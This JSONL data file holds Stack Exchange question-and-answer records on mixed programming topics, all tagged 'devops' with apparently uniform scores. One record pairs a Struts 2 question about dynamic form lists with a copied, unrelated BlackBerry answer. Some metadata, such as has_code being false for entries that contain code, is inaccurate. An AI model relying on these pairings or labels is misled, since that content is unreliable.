{"id": "hf_92b2b7fd7cb0", "question": "<p>For example, if I have an echo statement, there's no guarantee that the browser might display it right away, might display a few dozen echo statements at once, and might wait until the entire page is done before displaying anything.</p>\n\n<p>Is there a way to have each echo appear in a browser as it is executed?</p>\n", "question_body": "", "answer": "Start your investigation here:\nhttp://httpd.apache.org/docs/1.3/misc/FAQ-F.html#nph-scripts", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.932482"}
{"id": "hf_d8069b833f4b", "question": "<p>What are the best/most popular ways to do aspect-oriented programming (AOP) in C#/.Net?</p>\n", "question_body": "", "answer": "I've played around with rolling my own, for several different types of things.  I've had some luck.  In general, I make an interface, implement it with a class, and then make a proxy which implements the interface, does whatever precondition steps I want, calls the real object's method, and then does whatever postcondition steps I want.  One of the main annoyances of mine with this approach is that you can't have constructors in an interface, and you also can't have static methods in an interface, so there's no real obvious place to put that type of code.  The hard part is the code generation - because you're either going to emit IL, or you're going to emit C# that you have to compile.  But that's just been my approach.  And it forced me to think about one aspect at a time, really - I hadn't gotten to the point where I could abstract out the \"Aspect\" and think in those terms.  In short: roll your own or find a toolset you like, probably from\nEric Bodden's list\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.956793"}
{"id": "hf_4dfb3122193e", "question": "<p>In VB6, I used a call to the Windows API, <strong>GetAsyncKeyState</strong>, to determine if the user has hit the ESC key to allow them to exit out of a long running loop.</p>\n\n<pre><code>Declare Function GetAsyncKeyState Lib \"user32\" (ByVal nVirtKey As Long) As Integer\n</code></pre>\n\n<p>Is there an equivalent in pure .NET that does require a direct call to the API?</p>\n", "question_body": "", "answer": "You can find the P/Invoke declaration for GetAsyncKeyState from\nhttp://pinvoke.net/default.aspx/user32/GetAsyncKeyState.html\nHere's the C# signature for example:\n```\n```\n[DllImport(\"user32.dll\")]\nstatic extern short GetAsyncKeyState(int vKey);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.038755"}
{"id": "hf_092b93b8e77f", "question": "<p>Does anyone have a good set of Visio Stencils for MS SQL Server?</p>\n", "question_body": "", "answer": "I haven't tried it myself but there is one at\nhttp://visiotoolbox.com/downloads.aspx?resourceid=1&aid=562", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.063787"}
{"id": "hf_423a67b9cfe3", "question": "<p>I need to be able to load the entire contents of a text file and load it into a variable for further processing.  </p>\n\n<p>How can I do that?</p>\n\n<hr>\n\n<p>Here's what I did thanks to Roman Odaisky's answer.</p>\n\n<pre><code>SetLocal EnableDelayedExpansion\nset content=\nfor /F \"delims=\" %%i in (test.txt) do set content=!content! %%i\n\necho %content%\nEndLocal\n</code></pre>\n", "question_body": "", "answer": "Use\n```\nfor\n```\n, something along the lines of:\n```\n```\nset content=\nfor /f \"delims=\" %%i in ('filename') do set content=%content% %%i\n```\n```\nMaybe you’ll have to do\n```\nsetlocal enabledelayedexpansion\n```\nand/or use\n```\n!content!\n```\nrather than\n```\n%content%\n```\n. I can’t test, as I don’t have any MS Windows nearby (and I wish you the same :-).\nThe best batch-file-black-magic-reference I know of is at\nhttp://www.rsdn.ru/article/winshell/batanyca.xml\n. If you don’t know Russian, you still could make some use of the code snippets provided.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.127214"}
{"id": "hf_35b6aee06021", "question": "<p>I am thinking about buying an iPod touch to make some money on developing apps for the iPhone. I like the concept of the App Store and had a quick look at it with iTunes.\nLooks like applications are categorized, to be iPhone OR iPod applications.\nSome apps which are free for the iPod seem to cost for iPhone users.</p>\n\n<p>What is the difference of both platforms, or why is the App Store separating them ?\nDoes it make sense to develop for the iPhone using an iPod touch (beside phone/location related apps) ?</p>\n\n<p>On developer.apple.com I can sign up for selling my Applications on the AppStore for 99$.\nDo I have to expect any further costs ?\nIs it a problem to develop from outside the US (in my case Germany) ?</p>\n", "question_body": "", "answer": "The iPod touch is missing:\nGPS\nBluetooth\n(iPod Touch 4G has Bluetooth)\nCellular network\nCamera\n(iPod Touch 4G has front and back cameras)\nMicrophone (thanks\nJohn Topley\n)\n(iPod Touch 4G has headset with microphone)\nVibration\nThe 1G is lacking a speaker\nOn the plus side it weighs a bit less and is a bit smaller.. Other than that they are pretty much identical (no sarcasm here; it still has the same processor, OS, control system, and display) Personally I would get an iPhone, as you will probably end up getting one later on anyway. I have an iPod touch (bought first) and an iPhone. I never use the iPod anymore.\nThe iPod touch is obviously cheaper than the iPhone, and there is no contract necessary. However, at least in the UK you can get a contract-free iPhone, and you should be able to do so soon on AT&T in the USA.\nThere are no extra costs besides the $99 for application development (which is a yearly fee)\nWe are developing from the UK. One issue to be aware of when you eventually sell your application is tax withholding - Apple will retain 30% of your revenues. There are some forms you need to fill out - I dealt with this in\nanother thread\n. Here's what I wrote there:\nYou need to fill out a\nW-8BEN\nand give it to Apple to avoid a 30% tax withholding. This requires that you have a SSN (Social Security Number). If, and only if, you do not have an SSN, you may supply  an ITIN (Individual Taxpayer Identification Number) or an EIN (Employer ID Number).\nTo get an ITIN, you need to fill out form\nW7\nand submit that to the IRS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.202355"}
{"id": "hf_6daa2935c4e7", "question": "<p>Why are 'out' parameters in .NET a bad idea?</p>\n\n<p>I was recently asked this, but I had no real answer besides it's simply unnecessarily complicating an application. What other reasons are there?</p>\n", "question_body": "", "answer": "I would say the answer you gave is about the best there is. You should always design away from\n```\nout\n```\nparameters if possible, because it usually makes the code needlessly complex.\nBut this is true of just about any pattern. If there is no need for it, don't use it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.285119"}
{"id": "hf_714ec97e5d05", "question": "<p>On occasion, I find myself wanting to search the text of changelist descriptions in Perforce.  There doesn't appear to be a way to do this in P4V.  I can do it by redirecting the output of the changes command to a file...</p>\n\n<pre><code>p4 changes -l &gt; p4changes.txt\n</code></pre>\n\n<p>...(the -l switch tells it to dump the full text of the changelist descriptions) and then searching the file, but this is rather cumbersome.  Has anyone found a better way?</p>\n", "question_body": "", "answer": "I use\np4sql\nand run a query on the \"changes\" database. Here's the\nperforce database schema\nThe query looks something like this (untested)\n```\n```\nselect change from changes where description like '%text%' and p4options = 'longdesc'\n```\n```\nedit: added the p4options to return more than 31 characters in the description.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.389884"}
{"id": "hf_d1e82cf7ac6f", "question": "<p>I have three <code>divs</code>:</p>\n\n<pre><code>&lt;div id=\"login\" /&gt;\n&lt;div id=\"content\" /&gt;  \n&lt;div id=\"menu\" /&gt;  \n</code></pre>\n\n<p>How would I define the CSS styles (without touching the HTML) to have the <code>menu-div</code> as the left column, the <code>login-div</code> in the right column and the <code>content-div</code> also in the right column but below the <code>login-div</code>.</p>\n\n<p>The <code>width</code> of every div is fixed, but the <code>height</code> isn't.</p>\n", "question_body": "", "answer": "```\n```\n#menu {\n  position:absolute;\n  top:0;\n  left:0;\n  width:100px;\n}\n#content, #login {\n  margin-left:120px;\n}\n```\n```\nWhy this way?  The menu coming last in the markup makes it tough.  You might also be able to float both content and login right, and added a clear:right to content, but I think this might be your best bet.  Without seeing the bigger picture, it is hard to give a solution that will definitely work in your case.\nEDIT: This seems to work as well:\n```\n```\n#content, #login {\n  float:right;\n  clear:right\n}\n```\n```\nMore thoughts:  The absolute positioning won't work (or won't work well) if you want to have the columns in a centered layout.  The float seems to work - as long as you can get any border-between-columns type requirements to pan out with the float solution, you might be better off choosing that.  Then again, if the site is supposed to be left align, I think that the absolute method would work very well for your needs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.429719"}
{"id": "hf_f561882b065b", "question": "<p>I've recently installed the MVC CTP5 and VS is now crashing on me when I try to open an aspx, I get the following error in event viewer:</p>\n<pre><code>.NET Runtime version 2.0.50727.3053 - Fatal Execution Engine Error (7A035E00) (80131506)\n</code></pre>\n<p>I was able to find <a href=\"http://forums.asp.net/t/1313452.aspx\" rel=\"nofollow noreferrer\">This</a> post on the asp.net forums relating to the same issue but nobody has had a working solution yet (at least not for me).</p>\n<p>Just wondering if anyone else has run into this issue and what they have done to resolve it?</p>\n<p>EDIT: Wanted to add that I have tried all the tips in the article and can open the markup with a code editor but was wondering an actual solution had been found to resolve this issue.. Thanks!</p>\n<p>EDIT: I don't have this issue on my Vista box, seems to only occur on my XP VM.</p>\n", "question_body": "", "answer": "Here are a steps to work around from\nthe post\nthat work for me:\n1.Open project based on CTP5\n2.IN solution Explorer, enable \"Show All files\"\n3.Open \"bin\" folder and delete \"Microsoft.Web.Mvc.dll\", \"System.Web.Mvc.dll\", \"System.Web.Abstractions.dll\", \"System.Web.Routing.dll\"\n4.Open \"References\" folder, click ONCE \"System.Web.Abstractions\" and in Properties window change \"Copy Local\" to true. Repeat same with System.Web.Routing.\n5.Build application (Ctrl+Shift+B)\n6.Open site.master in designer. VS will not crash.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.467466"}
{"id": "hf_bfb64ccf34e4", "question": "<p>I've been hearing conflicting facts about this topic. What is correct?</p>\n", "question_body": "", "answer": "You've been hearing conflicting views because it's a topic of great confusion, even among senior engineers. In short, simply placing an assembly in the GAC does implicitly give it full trust, but this can be overriden via security policy.\nEDIT1: Let me add that a common thought is if you don't trust an assembly fully, why are you placing it in the GAC?\nEDIT2: I had a link in here to a blog post from Michelle Bustamante, but as you can see in the comment below, it's no longer available so I removed it from this answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.491292"}
{"id": "hf_81cb7fc061ec", "question": "<p>Please, provide code examples in a language of your choice.</p>\n\n<p><strong>Update</strong>:\nNo constraints set on external storage.</p>\n\n<p>Example: Integers are received/sent via network. There is a sufficient space on local disk for intermediate results.</p>\n", "question_body": "", "answer": "1 million 32-bit integers = 4 MB of memory.\nYou should sort them using some algorithm that uses external storage. Mergesort, for example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.514128"}
{"id": "hf_675c354f386f", "question": "<p>I need your advice regarding migration. I want to migrate existing project to ASP.NET MVC and I can figure out the proccess except of url rewriting issue:</p>\n\n<p>for example how can I make following route: </p>\n\n<p><a href=\"http://www.eireads.com/ireland/mayo/cars-3/1263-used-cars-citroen-c5-for-sale.aspx\" rel=\"nofollow noreferrer\">http://www.eireads.com/ireland/mayo/cars-3/1263-used-cars-citroen-c5-for-sale.aspx</a></p>\n\n<p>Or maybe I could somehow keep supporting legacy routes. </p>\n", "question_body": "", "answer": "I think you should really re-write your question and try to detail exactly what you are attempting to accomplish here.\nIf you are asking how to migrate an existing\nWebForm\nproject into ASP.NET MVC keeping the same URL rewrite, the answer is; not easily. The models are too different.\nYet, you mention \"routes\" in the end, which make me think you are speaking like those of the System.Web.Routing namespace. So are you dealing with an existing MVC app and want it too look like that URL path? I can't tell. I am confused.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.535219"}
{"id": "hf_0e754569053b", "question": "<p>Here's the code that I'm attempting to do:</p>\n\n<pre><code>public IList&lt;IOperator&gt; GetAll()\n{\n      using (var c = new MyDataContext())\n      {\n          return c.Operators.ToList();\n      }\n}\n</code></pre>\n\n<p>Operator implements IOperator, but I'm getting the following compilation error:</p>\n\n<pre><code>Cannot implicitly convert type 'System.Collections.Generic.List&lt;MyProject.Core.Operator&gt;' to 'System.Collections.Generic.IList&lt;MyProject.Core.Model.IOperator&gt;'. An explicit conversion exists (are you missing a cast?)\n</code></pre>\n\n<p>How do I cast this to get what I need?</p>\n", "question_body": "", "answer": "Try the\n```\nCast<>()\n```\nmethod:\n```\n```\nreturn c.Operators.Cast<IOperator>().ToList();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.580078"}
{"id": "hf_0106487b2292", "question": "<p>I'm trying to use the <code>this</code> keyword in a static method, but the compiler won't allow me to use it.</p>\n\n<p>Why not?</p>\n", "question_body": "", "answer": "That's an easy one. The keyword 'this' returns a reference to the current instance of the class containing it. Static methods (or any static member) do not belong to a particular instance. They exist without creating an instance of the class. There is a much more\nin depth explanation\nof what static members are and why/when to use them in the MSDN docs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.643063"}
{"id": "hf_2dc82fe86260", "question": "<p>We need to make our enterprise ASP.NET/NHibernate browser-based application able to function when connected to or disconnected from the customer's server. Has anyone done this? If so, how did you do it? (Technology, architecture, etc.)</p>\n\n<p>Background:</p>\n\n<p>We develop and sell an enterprise browser-based application used by construction field personnel to enter timesheet information. Currently, it requires a connection to the server back in the customer's office and we'd like to build an occasionally-connected version of the application for those clients without wireless Internet availability.</p>\n\n<p>Our application is an ASP.NET application using NHibernate for O/R mapping. Being a Microsoft shop, the Microsoft Sync Framework is attractive, but we don't know whether it \"plays well\" with NHibernate.</p>\n\n<p>Any insight would be greatly appreciated.</p>\n\n<p>Dave T</p>\n", "question_body": "", "answer": "Maybe you could operate some kind of offline version using a small version database (I hear good things about vistadb -\nhttp://www.vistadb.net/\nwhich I believe does play well with NHibernate). With a syncing tool to copy data in when they are back on line. A click-once launcher could handle installation and integration.\nWant to be careful with anything involving syncing though - if it is just single user timesheets that might be OK - but if there are any chances of conflicts in the online-offline data you might be better considering the problem from a different angle for pain-avoidance...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.665853"}
{"id": "hf_67237ed41f53", "question": "<p>Currently Tomcat's login support redirects users back to where they initially were when the application figured out they weren't logged in.</p>\n\n<p>For this particular application I need to force them to always go back to <code>index.jsp</code>.</p>\n\n<p>I'm pretty sure this is a simple configuration option in the WAR's <code>web.xml</code>, but I haven't found the answer in google.</p>\n", "question_body": "", "answer": "It's something you can't configure in web.xml as it is not part of the standard. For Tomcat (tested on version 6.0.14) you can force users back to index.jsp by adding the next code on top of your login.jsp. It redirects every request that does not have a parameter with the name 'login' in the url to the /index.jsp?login page. Because the redirect does have the 'login' parameter the user will be presented the login page.\nIt's not a secure solution. If someone requests for a page and adds the login parameter, he will be redirected. So:\n/showPerson?id=1234 will redirect to /index.jsp?login\n/showPerson?id=1234?login will NOT redirect to /index.jsp?login\nThe code that goes on top of your login.jsp:\n```\n```\n<%\nif (request.getParameter(\"login\") == null) {\n    response.sendRedirect(request.getContextPath() + \"/index.jsp?login\");\n    return;\n}\n%>\n```\n```\nInstead of using the 'login' parameter you probably could use a cookie. You can make it more secure by creating a random value for the login parameter (login=randomvalue) and store the value in the session object for comparison.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.704828"}
{"id": "hf_2a6c683af9ce", "question": "<p>After reading the answers to the question <a href=\"https://stackoverflow.com/questions/60394/calculate-code-metrics\" title=\"Calculate Code Metrics\">\"Calculate Code Metrics\"</a> I installed the tool <a href=\"http://www.campwoodsw.com/sm20.html\" rel=\"nofollow noreferrer\" title=\"SourceMonitor\">SourceMonitor</a> and calculated some metrics.</p>\n\n<p>But I have no idea how to interpret them.</p>\n\n<p>What's a \"good\" value for the metric</p>\n\n<ul>\n<li>\"Percent Branch Statements\"</li>\n<li>\"Methods per Class\"</li>\n<li>\"Average Statements per Method\"</li>\n<li>\"Maximum Method or Function\nComplexity\"</li>\n</ul>\n\n<p>I found no hints in the documentation, can anybody help me?</p>\n", "question_body": "", "answer": "SourceMonitor is an awesome tool.\n\"Methods Per Class\" is useful to those who wish to ensure their classes follow good OO principles (too many methods indicates that a class could be taking on more than it should).\n\"Average Statements per Method\" is useful for a general feel of how big each method is.  More useful to me is the info on the methods with too many statements (double click on the module for finer grain detail).\nFunction Complexity is useful for ascertaining how nasty the code is.  Truly I use this info more than anything else.  This is info on how complicated the nastiest function in a module is (at least according to cyclomatic complexity).  If you double click on the module / file you can find out which particular method is so bad.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.725327"}
{"id": "hf_5c49a891e5d0", "question": "<p>Is there any difference between having 4 .5GB memcache servers running or one 2GB instance? </p>\n\n<p>Does running multiple instances offer any benifits?</p>\n", "question_body": "", "answer": "High availability is nice, and memcached will automatically distribute your cache across the 4 servers. If one of those servers dies for some reason, you can handle that error by either just continuing as if the cache was blank, redirecting to a different server, or any sort of custom error handling you want. If your 1x 2gb server dies, then your options are pretty limited.\nThe important thing to remember is that you do not have 4 copies of your cache, it is 1 cache, split amongst the 4 servers.\nThe only downside is that it's easier to run out of 4x .5 than it is to run out of 1x 2gb memory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.829340"}
{"id": "hf_caeddfa64655", "question": "<p>I would like to listen to method calls.</p>\n\n<p>For example, when an element is appended by anything to the document, I would like to be passed that element to act on it, like:</p>\n\n<p>//somewhere</p>\n\n<pre><code>aParent.appendChild(aChild);\n</code></pre>\n\n<p>//when the former, a function I defined as listener is called with the <code>aChild</code> as argument</p>\n\n<p>Does anybody know how to do that?</p>\n", "question_body": "", "answer": "don't know if that's possible with the core functions, but you could always create your own functions, for the actions you want to monitor:\n```\n```\nfunction AppendChild(oParent, oChild) {\n\n   // your stuff on oParent\n\n   // append oChild\n   oParent.appendChild(oChild)\n}\n```\n```\nor, maybe, modify the actual appendChild(), but that would be tricky...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.864832"}
{"id": "hf_77f0facec892", "question": "<p>Every indication I have, based on my experience in embedded computing is that doing something like this would require expensive equipment to get access to the platform (ICE debuggers, JTAG probes, I2C programmers, etc, etc), but I've always wondered if some ambitious hacker out there has found a way to load native code on a Blackberry device.   Anyone?</p>\n\n<p>Edit: I'm aware of the published SDK and it's attendant restrictions.  I'm curious if anyone has attempted to get around them, and if so, how far they got.</p>\n", "question_body": "", "answer": "Unfortunately the official\nSDK website\nonly seems to mention Java.  According to\nwikipedia\n, different versions of the BlackBerry use different processors.  Combined with the fact that RIM uses a proprietary operating system for the devices, it becomes pretty difficult to develop native code without official tools.  There is also a partial API-level security restriction which would further prohibit advanced tinkering.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.936734"}
{"id": "hf_a0dbaa8b146d", "question": "<p>I have a JSP that allows users to dynamically create additional form fields to create multiple objects. Perhaps I want to allow users to be able to submit as many line items as they want when submitting an invoice form.</p>\n\n<p>How do I create a Struts 2 Action that will be able to take in an <code>ArrayList</code> populated with objects created from those dynamically generated fields.</p>\n", "question_body": "", "answer": "Unfortunately the official\nSDK website\nonly seems to mention Java.  According to\nwikipedia\n, different versions of the BlackBerry use different processors.  Combined with the fact that RIM uses a proprietary operating system for the devices, it becomes pretty difficult to develop native code without official tools.  There is also a partial API-level security restriction which would further prohibit advanced tinkering.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:22.961398"}
{"id": "hf_ddbf84a3314e", "question": "<p>I'm refactoring \"spaghetti code\" C module to work in multitasking (RTOS) environment.</p>\n\n<p>Now, there are very long functions and many unnecessary global variables.</p>\n\n<p>When I try to replace global variables that exists only in one function with locals, I get into dilemma. Every global variable is behave like local \"static\" - e.g. keep its value even you exit and re-enter to the function.</p>\n\n<p>For multitasking \"static\" local vars are worst from global. They make the functions non reentered.</p>\n\n<p>There are a way to examine if the function is relay on preserving variable value re-entrancing without tracing all the logical flow?</p>\n", "question_body": "", "answer": "Please give examples of what you call 'global' and 'local' variables\n```\n```\nint global_c; // can be used by any other file with 'extern int global_c;'\n\nstatic int static_c; // cannot be seen or used outside of this file.\n\nint foo(...)\n{\n   int local_c; // cannot be seen or used outside of this function.\n}\n```\n```\nIf you provide some code samples of what you have and what you changed we could better answer the question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.017968"}
{"id": "hf_7a85ab094e2c", "question": "<p>I am using a popup menu in Delphi.  I want to use it in a \"radio group\" fashion where if the user selects an item it is checked and the other items are not checked.  I tried using the AutoCheck property, but this allows multiple items to be checked.  Is there a way to set the popup menu so that only one item can be checked?</p>\n", "question_body": "", "answer": "Zartog is right, but if you want to keep the checkbox, assign this event to every item in the popup menu.\nNote that this code is a little hairy looking because it does not depend on knowing the name of your popup menu (hence, looking it up with \"GetParentComponent\").\n```\n```\nprocedure TForm2.OnPopupItemClick(Sender: TObject);\nvar\n  i : integer;\nbegin\n  with (Sender as TMenuItem) do begin\n    //if they just checked something...\n    if Checked then begin\n      //go through the list and *un* check everything *else*\n      for i := 0 to (GetParentComponent as TPopupMenu).Items.Count - 1 do begin\n        if i <> MenuIndex then begin  //don't uncheck the one they just clicked!\n          (GetParentComponent as TPopupMenu).Items[i].Checked := False;\n        end;  //if not the one they just clicked\n      end;  //for each item in the popup\n    end;  //if we checked something\n  end;  //with\nend;\n```\n```\nYou can assign the event at runtime to every popup box on your form like this (if you want to do that):\n```\n```\nprocedure TForm2.FormCreate(Sender: TObject);\nvar\n  i,j: integer;\nbegin\n  inherited;\n\n  //look for any popup menus, and assign our custom checkbox handler to them\n  if Sender is TForm then begin\n    with (Sender as TForm) do begin\n      for i := 0 to ComponentCount - 1 do begin\n        if (Components[i] is TPopupMenu) then begin\n          for j := 0 to (Components[i] as TPopupMenu).Items.Count - 1 do begin\n            (Components[i] as TPopupMenu).Items[j].OnClick := OnPopupItemClick;\n          end;  //for every item in the popup list we found\n        end;  //if we found a popup list\n      end;  //for every component on the form\n    end;  //with the form\n  end;  //if we are looking at a form\nend;\n```\n```\nIn response to a comment below this answer: If you want to require at least one item to be checked, then use this instead of the first code block.  You may want to set a default checked item in the oncreate event.\n```\n```\nprocedure TForm2.OnPopupItemClick(Sender: TObject);\nvar\n  i : integer;\nbegin\n  with (Sender as TMenuItem) do begin\n    //go through the list and make sure *only* the clicked item is checked\n    for i := 0 to (GetParentComponent as TPopupMenu).Items.Count - 1 do begin\n      (GetParentComponent as TPopupMenu).Items[i].Checked := (i = MenuIndex);\n    end;  //for each item in the popup\n  end;  //with\nend;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.041061"}
{"id": "hf_0d892fa80631", "question": "<p>I have two controllers which share most of their code (but must be, nonetheless, different controllers). The obvious solution (to me, at least) is to create a class, and make the two controllers inherit from it. The thing is... where to put it? Now I have it in app_controller.php, but it's kind of messy there.</p>\n", "question_body": "", "answer": "In cake, components are used to store logic that can be used by multiple controllers.  The directory is /app/controllers/components.  For instance, if you had some sharable utility logic, you would have an object called UtilComponent and a file in /app/controlers/components called UtilComponent.php.\n```\n```\n<?php\nclass UtilComponent extends Object {\n    function yourMethod($param) {\n        // logic here.......\n\n        return $param;\n    }\n}\n?>\n```\n```\nThen, in your controller classes, you would add:\n```\n```\nvar $components = array('Util');\n```\n```\nThen you call the methods like:\n```\n```\n$this->Util->yourMethod($yourparam);\n```\n```\nMore Info:\nDocumentation", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.064126"}
{"id": "hf_3a6f2d082a07", "question": "<p>I wasn't aware of a difference, but a coworker says there is, although he can't back it up. What's the difference if any?</p>\n", "question_body": "", "answer": "There is a difference, yes.\nXML that adheres to the\nXML standard\nis considered well formed, while xml that adheres to a\nDTD\nis considered valid.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.111982"}
{"id": "hf_d2fccbc91989", "question": "<p>I distribute software online, and always wonder if there is a proper way to better define version numbers.</p>\n\n<p>Let's assume A.B.C.D in the answers.  When do you increase each of the components?</p>\n\n<p>Do you use any other version number tricks such as D mod 2 == 1 means it is an in house release only?</p>\n\n<p>Do you have beta releases with their own version numbers, or do you have beta releases per version number?</p>\n", "question_body": "", "answer": "I use V.R.M  e.g. 2.5.1\nV (version) changes are a major rewrite\nR (revision) changes are significant new features or bug fixes\nM (modification) changes are minor bux fixes (typos, etc)\nI sometimes use an SVN commit number on the end too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.162739"}
{"id": "hf_5f171cf88e31", "question": "<p>Does anyone know how in ASP.Net's TreeView control, to have a custom style applied to an Expanded node? I have many root nodes and want the Expanded nodes to have a different background.</p>\n", "question_body": "", "answer": "There is no way of doing this with out of the box controls and this goes for alot of MS ASP.NET controls, however there is an adapters project on codeplex that makes your ASP.NET controls CSS-friendly:\nhttp://www.codeplex.com/cssfriendly\nIts pretty straight forward but ask again if you need any help setting it up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.190458"}
